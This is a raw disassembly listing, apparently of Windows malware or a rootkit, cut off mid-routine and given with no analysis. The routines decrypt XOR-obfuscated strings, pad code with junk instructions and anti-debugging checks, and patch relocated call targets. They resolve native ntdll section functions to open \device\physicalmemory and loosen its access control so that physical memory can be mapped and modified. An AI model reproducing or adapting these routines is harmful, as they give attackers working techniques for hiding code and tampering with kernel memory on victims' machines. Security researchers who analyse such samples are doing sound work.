loc_401C1E: ; CODE XREF: sub_401BB7+2Aj mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0 jnz short loc_401BE3 cmp [ebp+arg_4], 0 jz short loc_401C5F mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0 jnz short loc_401C5F mov eax, ebx dec eax mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0Ah jnz short loc_401C5F mov [ebp+var_5], 4 movzx eax, [ebp+var_5] imul eax, 11ACh mov [ebp+var_5], al mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] inc eax jmp short loc_401C9C ; --------------------------------------------------------------------------- loc_401C5F: ; CODE XREF: sub_401BB7+74j ; sub_401BB7+7Dj ... mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_40C95C ; lstrlenA mov ebx, eax or ebx, ebx jz short loc_401C9A mov [ebp+var_5], 2 add [ebp+var_5], 1 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax push [ebp+arg_8] call sub_40C6D8 lea edi, [ebp+var_D] lea esi, aFqgcpb ; "FqGcPB:" movsd movsd mov eax, [ebp+arg_4] add eax, ebx jmp short loc_401C9C ; --------------------------------------------------------------------------- loc_401C9A: ; CODE XREF: sub_401BB7+B8j xor eax, eax loc_401C9C: ; CODE XREF: sub_401BB7+64j ; sub_401BB7+A6j ... pop edi pop esi pop ebx leave retn sub_401BB7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43C2B8 lea eax, ds:437350h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-4], 319h xor edi, edi jmp short loc_401CE8 ; --------------------------------------------------------------------------- loc_401CCE: ; CODE XREF: .text:00401CEAj mov eax, dword_43C2B8 add eax, edi lea eax, ds:437350h[eax] movsx edx, byte ptr [eax] xor edx, 0F1h mov [eax], dl inc edi loc_401CE8: ; CODE XREF: .text:00401CCCj cmp edi, esi jl short loc_401CCE mov eax, dword_43C2B8 add eax, esi mov byte ptr ds:dword_437350[eax], 0 mov edi, dword_43C2B8 mov eax, edi add eax, 4 add eax, esi mov dword_43C2B8, eax add dword_43C2B8, 2 cmp dword_43C2B8, 0DB0h jle short loc_401D27 and dword_43C2B8, 0 loc_401D27: ; CODE XREF: .text:00401D1Ej lea eax, dword_437350[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D31 proc near ; CODE XREF: sub_402843+93p var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = word ptr -12h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi mov [ebp+var_4], 15C6h add [ebp+var_4], 325Fh inc dword_43C230 mov ax, word_43C2BC mov [ebp+var_A], ax mov ebx, [ebp+arg_0] and ds:dword_40E07C, 0 and ds:dword_41E8B8, 0 and ds:dword_41E9D0, 0 and ds:dword_40F1D0, 0 mov ds:dword_41B7A4, 4 mov ds:dword_41507C, 4 loc_401D8B: ; CODE XREF: sub_401D31+122j ; sub_401D31+14Fj ... mov eax, ebx inc ebx mov al, [eax] mov ds:byte_415078, al movzx eax, ds:byte_415078 or eax, eax jl loc_402002 cmp eax, 0FFh jg loc_402002 jmp off_43C2CC[eax*4] ; --------------------------------------------------------------------------- call sub_40C740 ; GetCurrentThreadId loc_401DBB: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... or byte ptr ds:dword_41E8B8, 40h jmp loc_402002 ; --------------------------------------------------------------------------- inc dword_43C230 loc_401DCD: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... xor eax, eax cmp byte ptr [ebx], 20h setnz al dec eax and eax, 4 inc eax mov [ebp+var_1C], eax add ds:dword_41E9D0, eax jmp loc_402002 ; --------------------------------------------------------------------------- loc_401DE8: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... or byte ptr ds:dword_41E8B8, 40h test byte ptr [ebx], 38h jnz loc_402002 loc_401DF8: ; CODE XREF: sub_401D31+7Ej ; DATA XREF: .data:0043C2DCo ... test ds:byte_415078, 1 jz short loc_401E11 mov eax, ds:dword_41B7A4 add ds:dword_41E9D0, eax jmp loc_402002 ; --------------------------------------------------------------------------- loc_401E11: ; CODE XREF: sub_401D31+CEj inc ds:dword_41E9D0 jmp loc_402002 ; --------------------------------------------------------------------------- loc_401E1C: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... inc ds:dword_41E9D0 jmp loc_402002 ; --------------------------------------------------------------------------- inc dword_43C230 loc_401E2D: ; CODE XREF: sub_401D31+7Ej ; DATA XREF: .data:0043C364o ... test byte ptr ds:dword_41E8B8, 10h jz short loc_401E3D xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_401E3D: ; CODE XREF: sub_401D31+103j call sub_40C794 ; GetProcessHeap or byte ptr ds:dword_41E8B8, 10h mov al, ds:byte_415078 mov ds:byte_40F1DC, al jmp loc_401D8B ; --------------------------------------------------------------------------- loc_401E58: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... test byte ptr ds:dword_41E8B8, 4 jz short loc_401E68 xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_401E68: ; CODE XREF: sub_401D31+12Ej lea edi, [ebp+var_18] lea esi, aQ8abz ; "Q8az" mov ecx, 3 rep movsw or byte ptr ds:dword_41E8B8, 4 jmp loc_401D8B ; --------------------------------------------------------------------------- loc_401E85: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... test byte ptr ds:dword_41E8B8, 8 jz short loc_401E95 xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_401E95: ; CODE XREF: sub_401D31+15Bj call sub_40C7D0 ; GetVersion or byte ptr ds:dword_41E8B8, 8 mov al, ds:byte_415078 mov ds:byte_41FB00, al jmp loc_401D8B ; --------------------------------------------------------------------------- loc_401EB0: ; CODE XREF: sub_401D31+7Ej ; DATA XREF: .data:0043C464o test byte ptr ds:dword_41E8B8, 1 jz short loc_401EC0 xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_401EC0: ; CODE XREF: sub_401D31+186j or byte ptr ds:dword_41E8B8, 1 mov ds:dword_41B7A4, 2 jmp loc_401D8B ; --------------------------------------------------------------------------- loc_401ED6: ; CODE XREF: sub_401D31+7Ej ; DATA XREF: .data:0043C468o test byte ptr ds:dword_41E8B8, 2 jz short loc_401EE6 xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_401EE6: ; CODE XREF: sub_401D31+1ACj mov [ebp+var_12], 2BC6h sub [ebp+var_12], 1A0Bh or byte ptr ds:dword_41E8B8, 2 mov ds:dword_41507C, 2 jmp loc_401D8B ; --------------------------------------------------------------------------- inc dword_43C230 loc_401F0E: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... inc ds:dword_41E9D0 or byte ptr ds:dword_41E8B8, 40h jmp loc_402002 ; --------------------------------------------------------------------------- loc_401F20: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... mov eax, ds:dword_41B7A4 add ds:dword_41E9D0, eax or byte ptr ds:dword_41E8B8, 40h jmp loc_402002 ; --------------------------------------------------------------------------- loc_401F37: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... mov eax, ds:dword_41B7A4 add eax, 2 add ds:dword_41E9D0, eax jmp loc_402002 ; --------------------------------------------------------------------------- loc_401F4A: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... mov eax, ds:dword_41507C add ds:dword_40F1D0, eax jmp loc_402002 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... mov eax, ds:dword_41B7A4 add ds:dword_41E9D0, eax jmp loc_402002 ; --------------------------------------------------------------------------- inc dword_43C230 loc_401F70: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... add ds:dword_41E9D0, 2 jmp loc_402002 ; --------------------------------------------------------------------------- loc_401F7C: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... add ds:dword_41E9D0, 3 jmp short loc_402002 ; --------------------------------------------------------------------------- loc_401F85: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+291j ; DATA XREF: ... xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_401F8C: ; CODE XREF: sub_401D31+7Ej ; DATA XREF: .data:0043C308o or byte ptr ds:dword_41E8B8, 20h mov eax, ebx inc ebx mov al, [eax] mov ds:byte_42FB10, al movzx eax, ds:byte_42FB10 or eax, eax jl short loc_401FFB cmp eax, 0Bh jg short loc_401FB4 jmp off_43C6CC[eax*4] ; --------------------------------------------------------------------------- loc_401FB4: ; CODE XREF: sub_401D31+27Aj cmp eax, 80h jl short loc_401FFB cmp eax, 0CFh jg short loc_401FFB jmp off_43C4FC[eax*4] ; --------------------------------------------------------------------------- call sub_40C734 ; GetCurrentProcessId loc_401FCE: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+27Cj ... or byte ptr ds:dword_41E8B8, 40h jmp short loc_402002 ; --------------------------------------------------------------------------- inc dword_43C230 jmp short loc_402002 ; --------------------------------------------------------------------------- loc_401FDF: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+27Cj ... mov eax, ds:dword_41B7A4 add ds:dword_41E9D0, eax jmp short loc_402002 ; --------------------------------------------------------------------------- loc_401FEC: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+27Cj ... inc ds:dword_41E9D0 or byte ptr ds:dword_41E8B8, 40h jmp short loc_402002 ; --------------------------------------------------------------------------- loc_401FFB: ; CODE XREF: sub_401D31+7Ej ; sub_401D31+275j ... xor eax, eax jmp loc_402195 ; --------------------------------------------------------------------------- loc_402002: ; CODE XREF: sub_401D31+6Dj ; sub_401D31+78j ... inc dword_43C230 test byte ptr ds:dword_41E8B8, 40h jz loc_40210E lea edi, [ebp+var_1C+2] lea esi, aIh ; ">%<Ih" mov ecx, 3 rep movsw mov eax, ebx inc ebx mov al, [eax] mov ds:byte_430C2C, al mov [ebp+var_12], 46D1h sub [ebp+var_12], 49BDh movzx eax, ds:byte_430C2C and eax, 0C0h mov [ebp+var_13], al movzx eax, ds:byte_430C2C and eax, 7 mov [ebp+var_14], al movzx eax, [ebp+var_13] cmp eax, 0C0h jz loc_40210E call sub_40C794 ; GetProcessHeap cmp [ebp+var_13], 40h jnz short loc_402078 inc ds:dword_40F1D0 loc_402078: ; CODE XREF: sub_401D31+33Fj mov byte ptr [ebp+var_1C+1], 69h add byte ptr [ebp+var_1C+1], 1 movzx eax, [ebp+var_13] cmp eax, 80h jnz short loc_402096 mov eax, ds:dword_41507C add ds:dword_40F1D0, eax loc_402096: ; CODE XREF: sub_401D31+358j call sub_40C734 ; GetCurrentProcessId cmp ds:dword_41507C, 2 jnz short loc_4020C1 mov byte ptr [ebp+var_1C], 71h add byte ptr [ebp+var_1C], 25h cmp [ebp+var_13], 0 jnz short loc_40210E cmp [ebp+var_14], 6 jnz short loc_40210E add ds:dword_40F1D0, 2 jmp short loc_40210E ; --------------------------------------------------------------------------- loc_4020C1: ; CODE XREF: sub_401D31+371j mov [ebp+var_1E], 61CBh sub [ebp+var_1E], 7700h cmp [ebp+var_14], 4 jnz short loc_4020FB call sub_40C734 ; GetCurrentProcessId or byte ptr ds:dword_41E8B8, 80h call sub_40C740 ; GetCurrentThreadId mov eax, ebx inc ebx mov al, [eax] mov ds:byte_41B7A0, al movzx eax, ds:byte_41B7A0 and eax, 7 mov [ebp+var_14], al loc_4020FB: ; CODE XREF: sub_401D31+3A0j cmp [ebp+var_14], 5 jnz short loc_40210E cmp [ebp+var_13], 0 jnz short loc_40210E add ds:dword_40F1D0, 4 loc_40210E: ; CODE XREF: sub_401D31+2DEj ; sub_401D31+330j ... and ds:dword_40F1D4, 0 jmp short loc_40212F ; --------------------------------------------------------------------------- loc_402117: ; CODE XREF: sub_401D31+409j mov eax, ebx inc ebx mov edx, ds:dword_40F1D4 mov al, [eax] mov ds:byte_415070[edx], al inc ds:dword_40F1D4 loc_40212F: ; CODE XREF: sub_401D31+3E4j mov eax, ds:dword_40F1D0 cmp ds:dword_40F1D4, eax jb short loc_402117 mov [ebp+var_6], 1644h sub [ebp+var_6], 0C83h and ds:dword_40F1D4, 0 jmp short loc_402169 ; --------------------------------------------------------------------------- loc_402151: ; CODE XREF: sub_401D31+443j mov eax, ebx inc ebx mov edx, ds:dword_40F1D4 mov al, [eax] mov ds:byte_43A560[edx], al inc ds:dword_40F1D4 loc_402169: ; CODE XREF: sub_401D31+41Ej mov eax, ds:dword_41E9D0 cmp ds:dword_40F1D4, eax jb short loc_402151 mov [ebp+var_8], 2887h add [ebp+var_8], 1636h inc dword_43C230 mov eax, ebx sub eax, [ebp+arg_0] mov ds:dword_40E07C, eax xor eax, eax inc eax loc_402195: ; CODE XREF: sub_401D31+107j ; sub_401D31+132j ... pop edi pop esi pop ebx leave retn sub_401D31 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 1EAh push esi push dword ptr [ebp+8] mov eax, dword_43CF34 lea eax, ds:4186C0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_4021E2 ; --------------------------------------------------------------------------- loc_4021C8: ; CODE XREF: .text:004021E4j mov eax, dword_43CF34 add eax, edi lea eax, ds:4186C0h[eax] movsx edx, byte ptr [eax] xor edx, 0D3h mov [eax], dl inc edi loc_4021E2: ; CODE XREF: .text:004021C6j cmp edi, esi jl short loc_4021C8 mov dword ptr [ebp-8], 278h mov eax, dword_43CF34 add eax, esi mov byte ptr ds:dword_4186C0[eax], 0 mov edi, dword_43CF34 mov eax, edi add eax, 6 add eax, esi mov dword_43CF34, eax cmp eax, 0DCEh jle short loc_40221C and dword_43CF34, 0 loc_40221C: ; CODE XREF: .text:00402213j lea eax, dword_4186C0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402226 proc near ; CODE XREF: sub_402A48+15p var_4 = word ptr -4 var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push esi push edi mov [ebp+var_1], 0C6h sub [ebp+var_1], 4Eh push offset aNtdll_dll ; "ntdll.dll" call sub_40C77C ; GetModuleHandleA mov edi, eax mov esi, 3E55h add esi, 765Dh push offset aRtlinitunicode ; "RtlInitUnicodeString" push edi call sub_40C788 ; GetProcAddress mov ds:dword_430C24, eax call sub_40C7C4 ; GetTickCount push offset aNtunmapviewofs ; "NtUnmapViewOfSection" push edi call sub_40C788 ; GetProcAddress mov ds:dword_41D8A0, eax push offset aNtopensection ; "NtOpenSection" push edi call sub_40C788 ; GetProcAddress mov ds:dword_41B7AC, eax mov esi, 3B63h sub esi, 2C1Bh push offset aNtmapviewofsec ; "NtMapViewOfSection" push edi call sub_40C788 ; GetProcAddress mov ds:dword_41E8C8, eax push offset aRtlntstatustod ; "RtlNtStatusToDosError" push edi call sub_40C788 ; GetProcAddress mov ds:dword_430C20, eax mov [ebp+var_4], 23Ah sub [ebp+var_4], 4D70h pop edi pop esi leave retn sub_402226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022BB proc near ; CODE XREF: sub_402A48+172p var_72 = dword ptr -72h var_6E = byte ptr -6Eh var_6D = dword ptr -6Dh var_69 = byte ptr -69h var_60 = byte ptr -60h var_56 = word ptr -56h var_53 = byte ptr -53h var_52 = word ptr -52h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 78h push ebx push esi push edi call sub_40C794 ; GetProcessHeap push offset aDevicePhysical ; "\\device\\physicalmemory" lea eax, [ebp+var_60] push eax call ds:dword_430C24 call sub_40C794 ; GetProcessHeap mov [ebp+var_18], 18h mov ebx, 752Bh inc ebx and [ebp+var_14], 0 mov [ebp+var_53], 2Bh add [ebp+var_53], 1 lea eax, [ebp+var_60] mov [ebp+var_10], eax call sub_40C794 ; GetProcessHeap mov [ebp+var_C], 40h mov [ebp+var_56], 683Eh inc [ebp+var_56] and [ebp+var_8], 0 lea edi, [ebp+var_69] lea esi, byte_43CFE6 xor ecx, ecx inc ecx rep movsb and [ebp+var_4], 0 call sub_40C7D0 ; GetVersion and [ebp+var_30], 0 mov eax, dword_43CFE7 mov [ebp+var_6D], eax and [ebp+var_2C], 0 mov [ebp+var_28], 1 mov [ebp+var_24], 1 call sub_40C794 ; GetProcessHeap lea eax, aCurrent_user ; "CURRENT_USER" mov [ebp+var_20], eax lea edi, [ebp+var_6E] lea esi, byte_43CFEB xor ecx, ecx inc ecx rep movsb mov [ebp+var_50], 2 mov eax, dword_43CFEC mov [ebp+var_72], eax mov [ebp+var_4C], 1 mov ebx, 206Fh mov eax, ebx add eax, ebx mov ebx, eax and [ebp+var_48], 0 lea edi, [ebp+var_44] lea esi, [ebp+var_30] mov ecx, 5 rep movsd mov [ebp+var_52], 7B38h movzx eax, [ebp+var_52] mov edx, eax add edx, eax sub_4022BB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4023A7 proc near ; DATA XREF: sub_4403F5+2Fo mov eax, edx mov [ebp-52h], ax lea eax, [ebp-18h] push eax push 60000h lea eax, [ebp-1Ch] push eax call ds:dword_41B7AC call sub_40C854 ; IsDebuggerPresent lea eax, [ebp-78h] push eax push 0 lea eax, [ebp-64h] push eax push 0 push 0 push 4 push 6 push dword ptr [ebp-1Ch] call sub_40CB78 ; GetSecurityInfo call sub_40C734 ; GetCurrentProcessId lea eax, [ebp-68h] push eax push dword ptr [ebp-64h] lea eax, [ebp-50h] push eax mov eax, 0Bh sub eax, dword_43CF30 push eax call sub_40CB90 ; SetEntriesInAclA call sub_40C7C4 ; GetTickCount push 0 push dword ptr [ebp-68h] push 0 push 0 push 4 push 6 push dword ptr [ebp-1Ch] call sub_40CB84 ; SetSecurityInfo call sub_40C734 ; GetCurrentProcessId push dword ptr [ebp-1Ch] call sub_40C7AC ; CloseHandle lea eax, [ebp-18h] push eax push dword ptr [ebp-50h] lea eax, [ebp-1Ch] push eax call ds:dword_41B7AC call sub_40C764 ; RtlGetLastWin32Error mov eax, [ebp-1Ch] pop edi pop esi pop ebx leave retn sub_4023A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402445 proc near ; CODE XREF: sub_402A48+230p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h call sub_40C740 ; GetCurrentThreadId mov eax, [ebp+arg_4] mov [ebp+var_10], eax mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx and [ebp+var_8], 0 mov [ebp+var_A], 3ABh add [ebp+var_A], 6ED8h xor edx, edx mov [ebp+var_14], edx mov [ebp+var_18], eax mov [ebp+var_B], 23h add [ebp+var_B], 1 push 4 push 0 push 1 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_18] push eax push [ebp+var_4] push 0 lea eax, [ebp+var_8] push eax push 0FFFFFFFFh push [ebp+arg_0] call ds:dword_41E8C8 call sub_40C764 ; RtlGetLastWin32Error mov eax, [ebp+var_8] leave retn sub_402445 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024A8 proc near ; CODE XREF: sub_402A48+31Ap var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ax, word_43CFF0 mov [ebp+var_2], ax push [ebp+arg_0] push 0FFFFFFFFh call ds:dword_41D8A0 leave retn sub_4024A8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43CFFC lea eax, ds:412DE0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_402501 ; --------------------------------------------------------------------------- loc_4024EA: ; CODE XREF: .text:00402503j mov eax, dword_43CFFC add eax, edi lea eax, ds:412DE0h[eax] movsx edx, byte ptr [eax] xor edx, 75h mov [eax], dl inc edi loc_402501: ; CODE XREF: .text:004024E8j cmp edi, esi jl short loc_4024EA mov dword ptr [ebp-4], 2E3h mov eax, dword_43CFFC add eax, esi mov byte ptr ds:dword_412DE0[eax], 0 xor edi, edi mov edi, dword_43CFFC inc dword_43CFFC mov eax, dword_43CFFC add eax, 5 add eax, esi mov dword_43CFFC, eax add dword_43CFFC, 2 cmp dword_43CFFC, 0DF6h jle short loc_402552 and dword_43CFFC, 0 loc_402552: ; CODE XREF: .text:00402549j mov dword ptr [ebp-8], 1Ch lea eax, dword_412DE0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402563 proc near ; CODE XREF: sub_402843+1F8p var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi lea edi, [ebp+var_7] lea esi, aCcLN ; "CC$l+n" mov ecx, 7 rep movsb xor ebx, ebx loc_40257E: ; CODE XREF: sub_402563+2D5j call sub_40C854 ; IsDebuggerPresent mov eax, [ebp+arg_0] movzx edx, byte ptr [eax+ebx] cmp edx, 0FFh jnz short loc_4025C9 movzx edx, byte ptr [ebx+eax+1] cmp edx, 0FFh jnz short loc_4025C9 movzx edx, byte ptr [ebx+eax+2] cmp edx, 0FFh jnz short loc_4025C9 movzx edx, byte ptr [ebx+eax+3] cmp edx, 0FFh jnz short loc_4025C9 movzx eax, byte ptr [ebx+eax+4] cmp eax, 0FFh jz loc_40283E loc_4025C9: ; CODE XREF: sub_402563+2Dj ; sub_402563+3Aj ... mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] mov edx, [ebp+arg_0] mov dl, [edx+ebx] mov [eax+ebx], dl mov [ebp+var_8], 0 loc_4025E0: ; CODE XREF: sub_402563+16Cj mov eax, [ebp+arg_0] movzx edx, [ebp+var_8] imul edx, 0Ch movzx edx, byte_43D090[edx] movzx ecx, byte ptr [eax+ebx] cmp ecx, edx jnz loc_4026BA mov ecx, ebx dec ecx movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4026BA mov ecx, ebx sub ecx, 2 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4026BA mov ecx, ebx sub ecx, 3 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4026BA mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jnz short loc_4026BA call sub_40C7C4 ; GetTickCount movzx eax, [ebp+var_8] imul eax, 0Ch push off_43D098[eax] call sub_40C77C ; GetModuleHandleA movzx edi, [ebp+var_8] imul edi, 0Ch push off_43D094[edi] push eax call sub_40C788 ; GetProcAddress mov [ebp+var_C], eax call sub_40C854 ; IsDebuggerPresent or eax, 0FFFFFFFFh mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] lea edx, [edx+ecx+5] add edx, ebx sub edx, 4 sub eax, edx add eax, [ebp+var_C] sub eax, 4 mov [ebp+var_10], eax call sub_40C740 ; GetCurrentThreadId mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_10] mov ds:1[eax], edx mov ax, word_43D103 mov [ebp+var_12], ax jmp short loc_4026D4 ; --------------------------------------------------------------------------- loc_4026BA: ; CODE XREF: sub_402563+95j ; sub_402563+A4j ... movzx eax, [ebp+var_8] imul eax, 0Ch cmp off_43D094[eax], 0 jz short loc_4026D4 add [ebp+var_8], 1 jmp loc_4025E0 ; --------------------------------------------------------------------------- loc_4026D4: ; CODE XREF: sub_402563+155j ; sub_402563+166j mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 4 jnz short loc_402744 mov edx, ebx dec edx cmp byte ptr [eax+edx], 4 jnz short loc_402744 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 4 jnz short loc_402744 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 4 jnz short loc_402744 mov edx, ebx sub edx, 4 movzx edx, byte ptr [eax+edx] cmp dl, 68h jz short loc_40271D cmp edx, 0BEh jz short loc_40271D mov edx, ebx sub edx, 5 cmp byte ptr [eax+edx], 24h jnz short loc_402744 loc_40271D: ; CODE XREF: sub_402563+1A5j ; sub_402563+1ADj lea edi, [ebp+var_10+1] lea esi, aTLd ; "T-+ld&" mov ecx, 7 rep movsb mov eax, [ebp+arg_4] add eax, [ebp+arg_8] lea edx, [eax+ebx+5] sub edx, 4 add eax, 7 mov ds:1[edx], eax loc_402744: ; CODE XREF: sub_402563+178j ; sub_402563+181j ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 2 jnz short loc_4027C9 mov edx, ebx dec edx cmp byte ptr [eax+edx], 2 jnz short loc_4027C9 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 2 jnz short loc_4027C9 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 2 jnz short loc_4027C9 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jz short loc_402783 cmp eax, 0E9h jnz short loc_4027C9 loc_402783: ; CODE XREF: sub_402563+217j call sub_40C794 ; GetProcessHeap mov eax, [ebp+arg_4] or edx, 0FFFFFFFFh mov ecx, [ebp+arg_8] lea ecx, [eax+ecx+5] add ecx, ebx sub ecx, 4 sub edx, ecx add edx, eax mov eax, edx sub eax, 4 mov [ebp+var_C], eax call sub_40C7C4 ; GetTickCount mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_C] mov ds:1[eax], edx call sub_40C734 ; GetCurrentProcessId loc_4027C9: ; CODE XREF: sub_402563+1E8j ; sub_402563+1F1j ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 1 jnz short loc_402831 mov edx, ebx dec edx cmp byte ptr [eax+edx], 1 jnz short loc_402831 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 1 jnz short loc_402831 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 1 jnz short loc_402831 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp al, 3Dh jz short loc_40280C cmp eax, 0FEh jz short loc_40280C cmp eax, 0FFh jnz short loc_402831 loc_40280C: ; CODE XREF: sub_402563+299j ; sub_402563+2A0j call sub_40C794 ; GetProcessHeap call sub_40C734 ; GetCurrentProcessId mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] lea edi, [edi+esi+5] add edi, ebx sub edi, 4 mov ds:1[edi], eax call sub_40C740 ; GetCurrentThreadId loc_402831: ; CODE XREF: sub_402563+26Dj ; sub_402563+276j ... inc ebx cmp ebx, 400h jb loc_40257E loc_40283E: ; CODE XREF: sub_402563+60j pop edi pop esi pop ebx leave retn sub_402563 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402843 proc near ; CODE XREF: sub_403010+237p var_27 = byte ptr -27h var_26 = byte ptr -26h var_22 = byte ptr -22h var_1F = byte ptr -1Fh var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov [ebp+var_11], 0A2h sub [ebp+var_11], 8 call sub_40C854 ; IsDebuggerPresent mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_4028A8 ; --------------------------------------------------------------------------- loc_402861: ; CODE XREF: sub_402843+70j call sub_40C7C4 ; GetTickCount xor ebx, ebx jmp short loc_402874 ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_402843+37j mov eax, [ebp+var_4] cmp byte ptr [eax+ebx], 0 jnz short loc_40287C inc ebx loc_402874: ; CODE XREF: sub_402843+25j cmp ebx, 3E8h jbe short loc_40286A loc_40287C: ; CODE XREF: sub_402843+2Ej lea edi, [ebp+var_26] lea esi, a5anwhv ; "5€Nwhv" mov ecx, 7 rep movsb cmp ebx, 3E8h jnb short loc_4028BA mov [ebp+var_1F], 0B8h movzx eax, [ebp+var_1F] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1F], al inc [ebp+var_4] loc_4028A8: ; CODE XREF: sub_402843+1Cj mov eax, [ebp+arg_4] sub eax, 3E8h cmp [ebp+var_4], eax jbe short loc_402861 jmp loc_402A43 ; --------------------------------------------------------------------------- loc_4028BA: ; CODE 